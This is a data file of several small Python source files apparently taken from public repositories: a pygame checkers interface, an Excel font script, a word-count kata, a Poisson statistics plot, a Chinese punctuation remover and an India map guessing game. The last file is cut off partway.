+{"seq_id":"8779591264","text":"from ast import Num\nfrom asyncio.windows_events import NULL\nimport data\nimport pygame\nfrom ai import Minimax\nfrom rule import showsuggestPlayer2, showsuggestPlayer1\nimport copy\nfrom button import Button\n'''\n\n'''\n\n\nkhaki = (240,230,140)\nslate_gray = (112,128,144)\nwhite = (255,255,255)\nbrown = (165,42,42)\ndarkgreen = (0,100,0)\ngreen = (152,251,152)\nred = (255,0,0)\nblack = (0,0,0)\nly_cyan = (224,255,255)\nsea_green = (46,139,87)\nturquoise = (64,224,208)\nsandy_brown = (244,164,96)\nchocolate = (244,164,96)\n\n# Kích thước của console\nwidthScreen = 900\nheightScreen = 800\n\n# màu của người chơi thứ nhất và người chơi thứ 2\nfirstEleColor = white # type = 1\nsecondEleColor = red # type = 2\n\n# Màu khi chọn bước đi\nchooseColor = turquoise\n\n# Màu gợi í chọn gợi í ô đi \nsuggestColor = sandy_brown\n\n# màu của ô chẵn và màu của ô lẻ\noddEleColor = sea_green\nevenEleColor = ly_cyan\n\n# Khoảng cách giữa 2 ô trong bảng\nlength_between_2_button = 0\n\npygame.init()\nfontTitle = pygame.font.Font(None,50)\n\nopponent_font = pygame.font.Font(None, 30)\nyour_font = pygame.font.Font(None, 30)\nyour_turn_font = pygame.font.Font(None, 40)\n\nhisLo = {\n   1: [7,6], 2: [7,4], 3: [7,2], 4: [7,0],\n   5: [6,7], 6: [6,5], 7: [6,3], 8:[6,1],\n   9: [5,6],10:[5,4], 11: [5,2],12:[5,0],\n  13: [4,7],14:[4,5], 15: [4,3],16:[4,1],\n  17: [3,6],18:[3,4], 19: [3,2],20:[3,0],\n  21: [2,7],22:[2,5], 23: [2,3],24:[2,1],\n  25: [1,6],26:[1,4], 27: [1,2],28:[1,0],\n  29: [0,7],30:[0,5], 31: [0,3],32:[0,1],\n}\n'''\nfirstPlayer2, 1 3 2 4 player2 - player1,   \n'''\ndef get_key(val):\n   for key, value in hisLo.items():\n      if val == value:\n            return key\n \n   return \"key doesn't exist\"\n\n\n\nclass ElementInterface:\n   def __init__(self, display_surface,real_location: list, back_ground_color, length, type) -> None:\n      self.display_surface = display_surface\n\n      self.location = real_location\n      self.background = back_ground_color\n\n      self.width = length\n      self.height = length\n      \n      self.press = False\n      self.button = pygame.Rect(self.location, (self.width, self.height))\n      \n      self.clicked = False\n      self.choose = False\n      self.suggest = False\n      \n      self.action = False\n      self.type = type\n\n   def draw(self):\n      self.action = False\n      pos = pygame.mouse.get_pos()\n      if self.button.collidepoint(pos):\n         if pygame.mouse.get_pressed()[0] == 1 and self.clicked == False:\n            self.clicked = True\n            self.action = True\n      if pygame.mouse.get_pressed()[0] == 0:\n         self.clicked = False\n      return self.action\n\n   def display(self):\n      if self.choose:\n         self.displayEle()\n      elif self.suggest:\n         self.displaySuggestEle()\n      else:\n         self.displayNULL()\n      if self.type == 1:\n         pygame.draw.circle(self.display_surface, firstEleColor, [self.location[0] + self.width/2, self.location[1] + self.height/2], self.height/2 - self.height/6)\n         pass\n      elif self.type == 2: \n         pygame.draw.circle(self.display_surface, secondEleColor, [self.location[0] + self.width/2, self.location[1] + self.height/2], self.height/2 - self.height/6)\n         pass\n      elif self.type == 3: \n         pygame.draw.circle(self.display_surface, firstEleColor, [self.location[0] + self.width/2, self.location[1] + self.height/2], self.height/2 - self.height/6)\n         pygame.draw.circle(self.display_surface, black, [self.location[0] + self.width/2, self.location[1] + self.height/2], self.height/2 - self.height/3)\n         pass\n      elif self.type == 4:\n         pygame.draw.circle(self.display_surface, secondEleColor, [self.location[0] + self.width/2, self.location[1] + self.height/2], self.height/2 - self.height/6)\n         pygame.draw.circle(self.display_surface, black, [self.location[0] + self.width/2, self.location[1] + self.height/2], self.height/2 - self.height/3)\n\n   def displayEle(self):\n      '''\n      Vẽ ô cờ được chọn (tô màu background khác với các ô khác)\n      '''\n      pygame.draw.rect(self.display_surface, chooseColor, self.button)\n   def displaySuggestEle(self):\n      '''\n      Vẽ ô cờ được suggest (tô màu background khác với các ô khác và khác với ô chọn)\n      '''\n      pygame.draw.rect(self.display_surface, suggestColor, self.button)\n   def displayNULL(self):\n      '''\n      Hiện thị chế độ thường\n      '''\n      pygame.draw.rect(self.display_surface, self.background ,self.button)\n\n\nclass GameControl:\n   def __init__(self, initLocation, length, firstPlayer2) -> None:\n      # Các biến xử lý console\n      self.initLocation = initLocation\n      self.length = length\n      self.display_surface = pygame.display.set_mode((widthScreen, heightScreen))\n\n                                                       \n      self.matrix = NULL                                 # data là biến ma trận\n      \n      self.firstPlayer2 = firstPlayer2                       # firstPlayer2 là cờ chỉ player 2 đi trước hay sau\n      self.interfaceMatrix = NULL\n      self.actionQueue = []                                    # Hàng đợi chứa các action mà người lựa chọn (tối đa 2 ElementInterface)\n   \n      \n      #turn                 \n      self.turnPlayer2 = False                              # cờ thể hiện lượt của người hiện tại\n      self.setDefaultGame()                              # mặc định game\n      self.setInterfaceMatrix()                          \n      # Ello\n      self.yourEllo = 0\n      self.aiEllo = 0\n      #self.ggButton = ElementInterface(self.display_surface,(500, 700), )\n      self.ggButton = Button((700,650),120, 50, \"Dau hang!\")\n      self.gg = False\n\n      self.history = \"\"\n      self.his2 = \"\"\n      self.num_round = 1\n      self.resetHis()\n   \n   # Nếu bạn đi trước, first = false (có nghĩa là máy đi sau) và bạn cầm quân trắng (type = 1)\n   def setDefaultGame(self):\n      \n      # máy cầm quân đỏ\n      if self.firstPlayer2:\n         self.matrix = copy.deepcopy(data.data[\"first\"])\n         self.turnPlayer2 = True\n      # nếu máy cầm quân trắng\n      else:\n         self.matrix = copy.deepcopy(data.data[\"second\"])\n         self.turnPlayer2 = False\n\n   def setInterfaceMatrix(self) -> None:\n      '''\n      Khởi tạo ma trận interfaceMatrix\n      '''\n      self.interfaceMatrix = []\n      for i in range(8):\n         for j in range(8):\n            if j == 0:\n               if (i + j) % 2 ==0:                                                          \n                  self.interfaceMatrix.append([ElementInterface(self.display_surface, (self.initLocation[0] + j *(self.length + length_between_2_button), self.initLocation[1] + i *(self.length + length_between_2_button)), evenEleColor,self.length,self.matrix[i][j])])\n               else:\n                  self.interfaceMatrix.append([ElementInterface(self.display_surface, (self.initLocation[0] + j *(self.length + length_between_2_button), self.initLocation[1] + i *(self.length + length_between_2_button)), oddEleColor,self.length, self.matrix[i][j])])\n            else:\n               if (i + j) % 2 == 0:\n                  self.interfaceMatrix[i].append(ElementInterface(self.display_surface, (self.initLocation[0] + j *(self.length + length_between_2_button), self.initLocation[1] + i *(self.length + length_between_2_button)), evenEleColor,self.length,self.matrix[i][j]))\n               else:\n                  self.interfaceMatrix[i].append(ElementInterface(self.display_surface, (self.initLocation[0] + j *(self.length + length_between_2_button), self.initLocation[1] + i *(self.length + length_between_2_button)), oddEleColor,self.length, self.matrix[i][j]))       \n\n   def display(self) -> None:\n      #chocolate\n      self.display_surface.fill(chocolate)\n      pygame.display.set_caption(\"Checkers Game\")\n      title = fontTitle.render(\"Checkers Game\", True, red)\n      self.display_surface.blit(title, (300, 75))\n      if self.firstPlayer2:\n         opponent_ello = opponent_font.render(\"Opponent level: \"+ str(self.aiEllo), True, red)\n         your_ello = your_font.render(\"Your level: \" + str(self.yourEllo), True, white)\n      \n      else:\n         opponent_ello = opponent_font.render(\"Opponent ello: \"+ str(self.aiEllo), True, white)\n         your_ello = your_font.render(\"Your ello: \" + str(self.yourEllo), True, red)\n      if self.turnPlayer2:\n         if self.firstPlayer2:\n            your_turn = your_turn_font.render(\"Robot: Your turn now!!!\", True, red)\n         else:\n            your_turn = your_turn_font.render(\"Robot: Your turn now!!!\", True, white)\n      else:\n         if self.firstPlayer2:\n            your_turn = your_turn_font.render(\"Robot: It's my turn!! :))\", True, white)\n         else:\n            your_turn = your_turn_font.render(\"Robot: It's my turn!! :))\", True, red)\n      self.display_surface.blit(opponent_ello, (600, 200))\n      self.display_surface.blit(your_ello, (600, 450))\n      self.display_surface.blit(your_turn, (500, 600))\n\n\n      for i in range(8):\n         for j in range(8):\n            if isinstance(self.interfaceMatrix[i][j], ElementInterface):\n               # Nếu là lượt của player2, xét actionQueue, nếu actionQueue = 1 thì gợi ý các nước đi \n               # tiếp theo có thể có = cách kích interfaceMatrix.suggest = True\n               # Nếu actionQueue = 2. Xét vị trí cần di chuyển. Nếu nó có suggest = True thì di chuyển\n               # nếu ko thì reset actionQueue. Trả suggest = False\n               if self.turnPlayer2:\n                  if self.interfaceMatrix[i][j].draw():\n                     self.interfaceMatrix[i][j].choose = not(self.interfaceMatrix[i][j].choose)\n                     # Xét vị trí vừa chọn, đưa vào actionQueue để xử lý\n                     if [i,j] in self.actionQueue:\n                        self.actionQueue.clear()\n                     else:\n                        self.actionQueue.append([i,j])\n                     #print(len(self.actionQueue))\n                     \n                     # Nếu actionQueue = 1, gợi í phương án đi cho player2, đồng thời đánh dấu những điểm suggest để player2 chọn\n                     if len(self.actionQueue) == 1:\n                        self.showsuggestPlayer2(self.actionQueue[0])\n                        \n                     \n                     # quan trọng, bước này để run player2 chọn, nếu đi thành công thì set turnPlayer2 = false\n                     if len(self.actionQueue) == 2:\n                        if self.moveInterfacePlayer2():\n                           if not(self.firstPlayer2) :\n                              self.saveTempHis()\n                              pass\n                           self.turnPlayer2 = False\n                        self.actionQueue.clear()                       \n                     # Nếu hàng đợi == 2: bắt đầu kiểm tra 2 điểm chọn có đúng với suggest ko, nếu đúng thì move, nếu không thì xóa data cho lại từ đầu\n                     if len(self.actionQueue) > 2: \n                        for item in self.actionQueue:\n                           self.interfaceMatrix[item[0]][item[1]].choose = False\n                        self.actionQueue.clear()   \n               else:\n                  if self.interfaceMatrix[i][j].draw():\n                     self.interfaceMatrix[i][j].choose = not(self.interfaceMatrix[i][j].choose)\n                  # Xét vị trí vừa chọn, đưa vào actionQueue để xử lý\n                     if [i,j] in self.actionQueue:\n                        self.actionQueue.clear()\n                     else:\n                        self.actionQueue.append([i,j])\n                     #print(len(self.actionQueue))\n                  \n                     # Nếu actionQueue = 1, gợi í phương án đi cho player1, đồng thời đánh dấu những điểm suggest để player1 chọn\n                     if len(self.actionQueue) == 1:\n                        self.showsuggestPlayer1(self.actionQueue[0])\n                     \n                  \n                     # quan trọng, bước này để run player1 chọn, nếu đi thành công thì set turnPlayer2 = True\n                     if len(self.actionQueue) == 2:\n                        if self.moveInterfacePlayer1():\n                           if self.firstPlayer2:\n                              self.saveTempHis()\n                              pass\n                           self.turnPlayer2 = True\n                        self.actionQueue.clear()                       \n                     # Nếu hàng đợi == 2: bắt đầu kiểm tra 2 điểm chọn có đúng với suggest ko, nếu đúng thì move, nếu không thì xóa data cho lại từ đầu\n                     if len(self.actionQueue) > 2: \n                        for item in self.actionQueue:\n                           self.interfaceMatrix[item[0]][item[1]].choose = False\n                        self.actionQueue.clear()  \n\n      if len(self.actionQueue) == 0:\n         for i in range(8):\n            for j in range(8):\n               self.interfaceMatrix[i][j].type = self.matrix[i][j]\n               self.interfaceMatrix[i][j].choose = False\n               self.interfaceMatrix[i][j].suggest = False     \n      for i in range(8):\n         for j in range(8):\n            self.interfaceMatrix[i][j].display()\n      if self.ggButton.draw(self.display_surface):\n         self.gg = True\n   def showsuggestPlayer2(self, position):\n      '''\n      gợi ý các vị trí tiếp theo tại vị trí hiện tại (interface)\n      '''\n      temp = showsuggestPlayer2(position, self.matrix, self.firstPlayer2)\n      for item in temp:\n         self.interfaceMatrix[item[0]][item[1]].suggest = True\n      return temp     \n   def showsuggestPlayer1(self, position):\n      '''\n      Giống v nhưng là player1\n      '''\n      temp = showsuggestPlayer1(position, self.matrix, not(self.firstPlayer2))\n      for item in temp:\n         self.interfaceMatrix[item[0]][item[1]].suggest = True\n      return temp\n   def moveInterfacePlayer2(self) -> bool:\n      '''\n      di chuyển player2, nhận dữ liệu từ user (actionQueue và interfaceMatrix.suggest)\n      '''\n      if len(self.actionQueue) != 2:\n         return False\n      start = self.actionQueue[0]         # Vị trí muốn di chuyển\n      end = self.actionQueue[1]           # Vị trí cần duy chuyển tới\n      self.actionQueue.clear()\n      move = False\n      if self.interfaceMatrix[end[0]][end[1]].suggest:   # Nếu vị trí end được chấp nhận (suggest tại đó = True)\n         move = True\n         self.his2 += \" \"+str(get_key(start)) + \" \" + str(get_key(end))\n\n         if self.matrix[end[0]][end[1]] == 0:            # Nếu vị trí end rỗng\n            self.matrix[end[0]][end[1]] = self.matrix[start[0]][start[1]]\n            self.matrix[start[0]][start[1]] = 0\n\n            self.interfaceMatrix[end[0]][end[1]].type = self.interfaceMatrix[start[0]][start[1]].type\n            self.interfaceMatrix[start[0]][start[1]].type = 0 \n            if end[0] == 0:                             # Nếu vị trí end có thể phong hậu\n               if self.firstPlayer2:\n                  self.matrix[end[0]][end[1]] = 3\n                  self.interfaceMatrix[end[0]][end[1]].type = 3\n               else:\n                  self.matrix[end[0]][end[1]] = 4\n                  self.interfaceMatrix[end[0]][end[1]].type = 4\n         else:       \n            '''\n            Nếu end là một quân cờ đối thủ, tiến hành di chuyển đến vị trí trống (sau khi ăn)\n            xóa đối thủ. Thiết lập start = vị trí hiện tại, nếu vị trí đó có thể ăn thì set end = vị trí \n            di chuyển tiếp theo và flag = True, nếu ko còn ăn được thì end = None, flag = False.\n            Loop\n            '''\n\n            flag = True\n            while flag:\n               if end[0] - 1 == start[0] and end[1] - 1 == start[1]:\n                  self.matrix[end[0] + 1][end[1] + 1] = self.matrix[start[0]][start[1]]\n                  self.matrix[end[0]][end[1]] = 0\n                  self.matrix[start[0]][start[1]] = 0\n\n                  self.interfaceMatrix[end[0] + 1][end[1] + 1].type = self.interfaceMatrix[start[0]][start[1]].type\n                  self.interfaceMatrix[end[0]][end[1]].type = 0\n                  self.interfaceMatrix[end[0]][end[1]].suggest = False\n                  self.interfaceMatrix[start[0]][start[1]].type = 0\n                  start = [end[0] + 1, end[1] + 1]\n               elif end[0] - 1 == start[0] and end[1] + 1 == start[1]:\n                  self.matrix[end[0] + 1][end[1] - 1] = self.matrix[start[0]][start[1]]\n                  self.matrix[end[0]][end[1]] = 0\n                  self.matrix[start[0]][start[1]] = 0\n\n                  self.interfaceMatrix[end[0] + 1][end[1] - 1].type = self.interfaceMatrix[start[0]][start[1]].type\n                  self.interfaceMatrix[end[0]][end[1]].type = 0\n                  self.interfaceMatrix[end[0]][end[1]].suggest = False\n                  self.interfaceMatrix[start[0]][start[1]].type = 0\n                  start = [end[0] + 1, end[1] - 1]\n               elif end[0] + 1 == start[0] and end[1] - 1 == start[1]:\n                  self.matrix[end[0] - 1][end[1] + 1] = self.matrix[start[0]][start[1]]\n                  self.matrix[end[0]][end[1]] = 0\n                  self.matrix[start[0]][start[1]] = 0\n\n                  self.interfaceMatrix[end[0] - 1][end[1] + 1].type = self.interfaceMatrix[start[0]][start[1]].type\n                  self.interfaceMatrix[end[0]][end[1]].type = 0\n                  self.interfaceMatrix[end[0]][end[1]].suggest = False\n                  self.interfaceMatrix[start[0]][start[1]].type = 0\n                  start = [end[0] - 1, end[1] + 1]\n               elif end[0] + 1 == start[0] and end[1] + 1 == start[1]:\n                  self.matrix[end[0] - 1][end[1] - 1] = self.matrix[start[0]][start[1]]\n                  self.matrix[end[0]][end[1]] = 0\n                  self.matrix[start[0]][start[1]] = 0\n\n                  self.interfaceMatrix[end[0] - 1][end[1] - 1].type = self.interfaceMatrix[start[0]][start[1]].type\n                  self.interfaceMatrix[end[0]][end[1]].type = 0\n                  self.interfaceMatrix[end[0]][end[1]].suggest = False\n                  self.interfaceMatrix[start[0]][start[1]].type = 0\n                  start = [end[0] - 1, end[1] - 1]\n               if start[0] == 0:\n                  if self.firstPlayer2:\n                     self.matrix[start[0]][start[1]] = 3\n                     self.interfaceMatrix[start[0]][start[1]].type = 3\n                  else:\n                     self.matrix[start[0]][start[1]] = 4\n                     self.interfaceMatrix[start[0]][start[1]].type = 4\n               temp = self.showsuggestPlayer2(start)\n               if len(temp) == 0:\n                  flag = False\n               else:\n                  for item in temp:\n                     if self.interfaceMatrix[item[0]][item[1]].type != 0:\n                        end = item\n                        break\n                     else:\n                        flag = False\n      return move\n   \n   def moveInterfacePlayer1(self)->bool:\n      '''\n      di chuyển player1\n      '''\n      if len(self.actionQueue) != 2:\n         return False\n      start = self.actionQueue[0]\n      end = self.actionQueue[1]\n      self.actionQueue.clear()\n      move = False\n      if self.interfaceMatrix[end[0]][end[1]].suggest:\n         move = True\n\n         self.his2 += \" \"+str(get_key(start)) + \" \" + str(get_key(end))\n\n         if self.matrix[end[0]][end[1]] == 0:\n            self.matrix[end[0]][end[1]] = self.matrix[start[0]][start[1]]\n            self.matrix[start[0]][start[1]] = 0\n\n            self.interfaceMatrix[end[0]][end[1]].type = self.interfaceMatrix[start[0]][start[1]].type\n            self.interfaceMatrix[start[0]][start[1]].type = 0 \n            if end[0] == 7:\n               if self.firstPlayer2:\n                  self.matrix[end[0]][end[1]] = 4\n                  self.interfaceMatrix[end[0]][end[1]].type = 4\n               else:\n                  self.matrix[end[0]][end[1]] = 3\n                  self.interfaceMatrix[end[0]][end[1]].type = 3\n         else:\n            flag = True\n            while flag:\n               if end[0] - 1 == start[0] and end[1] - 1 == start[1]:\n                  self.matrix[end[0] + 1][end[1] + 1] = self.matrix[start[0]][start[1]]\n                  self.matrix[end[0]][end[1]] = 0\n                  self.matrix[start[0]][start[1]] = 0\n\n                  self.interfaceMatrix[end[0] + 1][end[1] + 1].type = self.interfaceMatrix[start[0]][start[1]].type\n                  self.interfaceMatrix[end[0]][end[1]].type = 0\n                  self.interfaceMatrix[end[0]][end[1]].suggest = False\n                  self.interfaceMatrix[start[0]][start[1]].type = 0\n                  start = [end[0] + 1, end[1] + 1]\n               elif end[0] - 1 == start[0] and end[1] + 1 == start[1]:\n                  self.matrix[end[0] + 1][end[1] - 1] = self.matrix[start[0]][start[1]]\n                  self.matrix[end[0]][end[1]] = 0\n                  self.matrix[start[0]][start[1]] = 0\n\n                  self.interfaceMatrix[end[0] + 1][end[1] - 1].type = self.interfaceMatrix[start[0]][start[1]].type\n                  self.interfaceMatrix[end[0]][end[1]].type = 0\n                  self.interfaceMatrix[end[0]][end[1]].suggest = False\n                  self.interfaceMatrix[start[0]][start[1]].type = 0\n                  start = [end[0] + 1, end[1] - 1]\n               elif end[0] + 1 == start[0] and end[1] - 1 == start[1]:\n                  self.matrix[end[0] - 1][end[1] + 1] = self.matrix[start[0]][start[1]]\n                  self.matrix[end[0]][end[1]] = 0\n                  self.matrix[start[0]][start[1]] = 0\n\n                  self.interfaceMatrix[end[0] - 1][end[1] + 1].type = self.interfaceMatrix[start[0]][start[1]].type\n                  self.interfaceMatrix[end[0]][end[1]].type = 0\n                  self.interfaceMatrix[end[0]][end[1]].suggest = False\n                  self.interfaceMatrix[start[0]][start[1]].type = 0\n                  start = [end[0] - 1, end[1] + 1]\n               elif end[0] + 1 == start[0] and end[1] + 1 == start[1]:\n                  self.matrix[end[0] - 1][end[1] - 1] = self.matrix[start[0]][start[1]]\n                  self.matrix[end[0]][end[1]] = 0\n                  self.matrix[start[0]][start[1]] = 0\n\n                  self.interfaceMatrix[end[0] - 1][end[1] - 1].type = self.interfaceMatrix[start[0]][start[1]].type\n                  self.interfaceMatrix[end[0]][end[1]].type = 0\n                  self.interfaceMatrix[end[0]][end[1]].suggest = False\n                  self.interfaceMatrix[start[0]][start[1]].type = 0\n                  start = [end[0] - 1, end[1] - 1]\n               if start[0] == 7:\n                  if self.firstPlayer2:\n                     self.matrix[start[0]][start[1]] = 4\n                     self.interfaceMatrix[start[0]][start[1]].type = 4\n                  else:\n                     self.matrix[start[0]][start[1]] = 3\n                     self.interfaceMatrix[start[0]][start[1]].type = 3\n               temp = self.showsuggestPlayer1(start)\n               if len(temp) == 0:\n                  flag = False\n               else:\n                  for item in temp:\n                     if self.interfaceMatrix[item[0]][item[1]].type != 0:\n                        end = item\n                        break\n                     else:\n                        flag = False\n      return move\n   \n   def movePlayer1(self, current: list, next: list)-> bool:\n      if current == next:\n         return False\n      self.actionQueue.clear()\n      self.actionQueue.append(current)\n      temp = self.showsuggestPlayer1(current)\n      self.actionQueue.append(next)\n      ans = self.moveInterfacePlayer1()\n      for item in temp:\n         self.interfaceMatrix[item[0]][item[1]].suggest = False\n      return ans\n\n   def movePlayer2(self, current, next)-> bool:\n      if current == next:\n         return False\n      self.actionQueue.clear()\n      self.actionQueue.append(current)\n      temp = self.showsuggestPlayer2(current)\n      self.actionQueue.append(next)\n      ans = self.moveInterfacePlayer2()\n      for item in temp:\n         self.interfaceMatrix[item[0]][item[1]].suggest = False\n      return ans\n   \n   def getData(self) -> list:\n      return self.matrix\n\n   # Phương thức dùng để load dữ liệu bước đi tiếp theo vào giao diện\n   def setData(self, data):\n      self.matrix = data\n      self.setInterfaceMatrix()\n      self.display()\n   def countPlayer(self):\n      '''\n      Trả về số lượng quân cờ và số quân hậu của player 1 và player2.\n      '''\n      count1 = 0\n      count1King = 0\n      count2 = 0\n      count2King = 0\n      for i in range(8):\n         for j in range(8):\n            if self.firstPlayer2:\n               if self.matrix[i][j] in [1,3]:\n                  count2 += 1\n                  if self.matrix[i][j] == 3:\n                     count2King += 1\n               elif self.matrix[i][j] in [2,4]:\n                  count1 += 1\n                  if self.matrix[i][j] == 4:\n                     count1King += 1\n            else:\n               if self.matrix[i][j] in [1,3]:\n                  count1 += 1\n                  if self.matrix[i][j] == 3:\n                     count1King += 1\n               elif self.matrix[i][j] in [2,4]:\n                  count2 += 1\n                  if self.matrix[i][j] == 4:\n                     count2King += 1\n      return count1, count1King, count2, count2King\n\n   def saveTempHis(self):\n      #count1, count1King, count2, count2King = self.countPlayer()\n\n      #self.history +=\" \" + self.his2 + \" \" + str(count2 - count1)\n      self.history +=\" \" + self.his2\n      self.num_round += 1\n      self.his2 = \" \" +str(self.num_round) + \".\"\n   def resetHis(self):\n      self.history = str(int(self.firstPlayer2))\n      self.num_round = 1\n      self.his2 = \" \" + str(self.num_round) + \".\"\n\n\n\n\n","repo_name":"khoavukhoa3004/Checkers","sub_path":"ui.py","file_name":"ui.py","file_ext":"py","file_size_in_byte":26313,"program_lang":"python","lang":"vi","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"17396029884","text":"#엑셀을 활성화 시키고 sheet에 가져올 수 있도록 넣는다.\nimport openpyxl\n\nwb=openpyxl.load_workbook('merged_01.xlsx')\nsheet=wb.active #활성되는 엑셀을 담는다.\nsheet #여기에 엑셀의 전체 시트가 담기면서 엑셀에 대한 수정이 가능해진다.\n\n#셀에 담긴 폰트를 변경할 내용을 담는다.\nfont_15=Font(name='맑은 고딕',size=15,bold=True) #\n\n# 짝수열에 대한 폰트 변경\nfor col in sheet['A2:C28']:  #엑셀파일의 행과 열 전체 선택\n     for cell in range(3):\n        if(cell%2==0):\n            col[cell].font=font_15  #각셀에 대한 폰트 변경 방법\n\n\n# 짝수행의 폰트 변경\nb=list(sheet.columns)  #열을 리스트로 만들어 28번 반복할 수 있도록 한다.\nb\n\nfor col in b:\n    for i in range(28):\n        if(i%2==0):\n            col[i].font=font_15","repo_name":"GeujuCho/Practice_Python","sub_path":"특정행과 열 특징바꾸기.py","file_name":"특정행과 열 특징바꾸기.py","file_ext":"py","file_size_in_byte":848,"program_lang":"python","lang":"ko","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"}
+{"seq_id":"4433344908","text":"\"\"\"\nhttps://www.codewars.com/kata/51e056fe544cf36c410000fb/train/python\n\"\"\"\nimport re\nimport string\nfrom collections import Counter\n\n\ndef isplit(string, sep=\"\\s+\"):\n    # warning: does not yet work if sep is a lookahead like `(?=b)`\n    if sep == '':\n        return (c for c in string)\n    else:\n        return (_.group(1) for _ in re.finditer(\"('*[a-z][a-z']*)\", string))\n\n\ndef top_3_words(text: str):\n    text = text.lower()\n\n    c = Counter(isplit(text))\n\n    return [x[0] for x in c.most_common(3) if x[0] not in string.punctuation]\n\n\nassert (top_3_words(\"a a a  b  c c  d d d d  e e e e e\") == ['e', 'd', 'a'])\nassert (top_3_words(\"e e e e DDD ddd DdD: ddd ddd aa aA Aa, bb cc cC e e e\") == [\"e\", \"ddd\", \"aa\"])\nassert (top_3_words(\"  //wont won't won't \") == [\"won't\", \"wont\"])\nassert (top_3_words(\"  , e   .. \") == [\"e\"])\nassert (top_3_words(\"  ...  \") == [])\nassert (top_3_words(\"  '  \") == [])\nassert (top_3_words(\"  '''  \") == [])\nassert (top_3_words(\"\"\"In a village of La Mancha, the name of which I have no desire to call to\nmind, there lived not long since one of those gentlemen that keep a lance\nin the lance-rack, an old buckler, a lean hack, and a greyhound for\ncoursing. An olla of rather more beef than mutton, a salad on most\nnights, scraps on Saturdays, lentils on Fridays, and a pigeon or so extra\non Sundays, made away with three-quarters of his income.\"\"\") == [\"a\", \"of\", \"on\"])\n","repo_name":"raeq/codewars","sub_path":"codewars_wordcount.py","file_name":"codewars_wordcount.py","file_ext":"py","file_size_in_byte":1402,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"23915473537","text":"import numpy as np\nimport matplotlib.pyplot as plt\n\n\ndef test_statistic(N):\n\n    N_bins = len(N)\n    N_tot = np.sum(N)\n    x = N[0]\n\n    if x == 0:\n        result = (2 * N_tot * np.log(N_bins / N_tot *\n                                     N_tot / (N_bins - 1)))\n    elif (N_tot - x) == 0:\n        result = (2 * x * np.log(N_bins / N_tot * x))\n    else:\n        result = (2 * x * np.log(N_bins / N_tot * x) +\n                  2 * (N_tot - x) * np.log(N_bins / N_tot *\n                                           (N_tot - x) / (N_bins - 1)))\n    return result\n\n\nN = 1000\nmy_lambda = [0.1, 10, 1000]\n\nfor i, the_lambda in enumerate(my_lambda, 1):\n    vars()['TS_' + str(i)] = np.array([])\n    for _ in range(N):\n        s = np.random.poisson(the_lambda, 100)\n        temp = test_statistic(s)\n        vars()['TS_' + str(i)] = np.append(vars()['TS_' + str(i)], temp)\n\n# binwidth = 0.05\n# n_bins = np.arange(min(s), max(s) + binwidth, binwidth)\nplt.hist(TS_1, log=True, bins=100)\nplt.figure()\nplt.hist(TS_2, log=True, bins=100)\nplt.figure()\nplt.hist(TS_3, log=True, bins=100)\nplt.show()\n","repo_name":"DanielRamyar/AdvancedMethodsInAppliedStatistics","sub_path":"Week_6/Class_12/exercise_1.py","file_name":"exercise_1.py","file_ext":"py","file_size_in_byte":1081,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"35182990292","text":"#!/usr/bin/env python\r\n# -*- coding: utf-8 -*-\r\n# @File  : remove_punctuation.py\r\n# @Author: wangzhy\r\n# @Date  : 2018/11/1515:01\r\n# @Desc  : 去掉文本标点\r\n#\r\n\r\nimport string\r\n\r\n# 去掉line里的标点\r\ndef removeBiaodian(line):\r\n\r\n    # 存储去掉标点后的文本\r\n    text = ''\r\n\r\n    # 对line的每个字符c 进行判断 去掉标点\r\n    for c in line:\r\n        # 文章总字符数count_all\r\n        count_all =1\r\n\r\n        # 英文\r\n        if c in string.ascii_letters:\r\n            # count_en += 1\r\n            count_all += 1\r\n\r\n        # 数字\r\n        elif c.isdigit():\r\n            # count_dg += 1\r\n            count_all += 1\r\n            text += c\r\n        # 空格\r\n        elif c.isspace():\r\n            # count_sp += 1\r\n            count_all += 1\r\n        # 中文\r\n        elif c.isalpha():\r\n            # count_zh += 1\r\n            count_all += 1\r\n            text += c\r\n        # 特殊字符\r\n        # else:\r\n            # if count_all == 1:\r\n            #     count_all -= 1\r\n            #     continue\r\n            # count_pu += 1\r\n    return text\r\n\r\nif __name__ == '__main__':\r\n\r\n    count_all = count_en = count_dg = count_sp = count_zh = count_pu = 0\r\n\r\n    file = '闲情赋并序,陶渊明.txt'\r\n    # 打开一个文件f     rU 要求文件必须存在 且 按行进行分割\r\n    f = open('D:\\\\FilesUsers\\\\古文本自动句读\\\\测试集_有标点\\\\%s' % file, 'r', encoding='utf-8')\r\n\r\n    # 输入文本 有标点\r\n    text_input = input('请输入代标点的文本：')\r\n\r\n    string_output = removeBiaodian(text_input)\r\n\r\n    print('去掉标点后文本：' + string_output)","repo_name":"wangzhy95/judou","sub_path":"remove_punctuation.py","file_name":"remove_punctuation.py","file_ext":"py","file_size_in_byte":1623,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"43869008440","text":"import turtle\nfrom os.path import dirname, join\nimport pandas as pd\n\n\ncurrent_dir = dirname(__file__)\ncsv_file = join(current_dir, \"31_states.csv\")\nimage_file = join(current_dir, \"india_map.gif\")\n\nscreen = turtle.Screen()\nscreen.setup(width=1000, height=1000)\nscreen.title(\"India States Game\")\n\nscreen.addshape(image_file)\nturtle.shape(image_file)\n\nstate_records = pd.read_csv(csv_file)\nall_states = state_records[\"state\"].to_list()\n\nguessed_states = []\n\nwhile len(guessed_states) < 31:\n    \n    answer_state = screen.textinput(title=f\"{len(guessed_states)}/31 the state\", prompt=\"What's another state's name?\").title()\n\n    if answer_state == \"Exit\":\n        remaining_states = [state for state in all_states if state not in guessed_states]\n        data_df = pd.DataFrame(remaining_states)\n        data_df.to_csv(\"states_to_learn.csv\")\n        break\n    \n# First of all we will check the answer state is one of the actual states list\n    if answer_state not in guessed_states and answer_state in all_states:\n        guessed_states.append(answer_state)\n        t = turtle.Turtle()\n        t.hideturtle()\n        t.penup()    \n        state_data = state_records[state_records.state == answer_state]\n        t.goto(int(state_data.x), int(state_data.y))\n        t.write(state_data.state.item())\n    else:\n        print(\"Incorrect state guessed\")\n        print(f\"{answer_state} is not in {all_states}\")\n\n\n\n# Code to get X & Y coordinates from the screen\n# def get_mouse_click_coor(x, y):\n#     print(x, y)\n    \n# 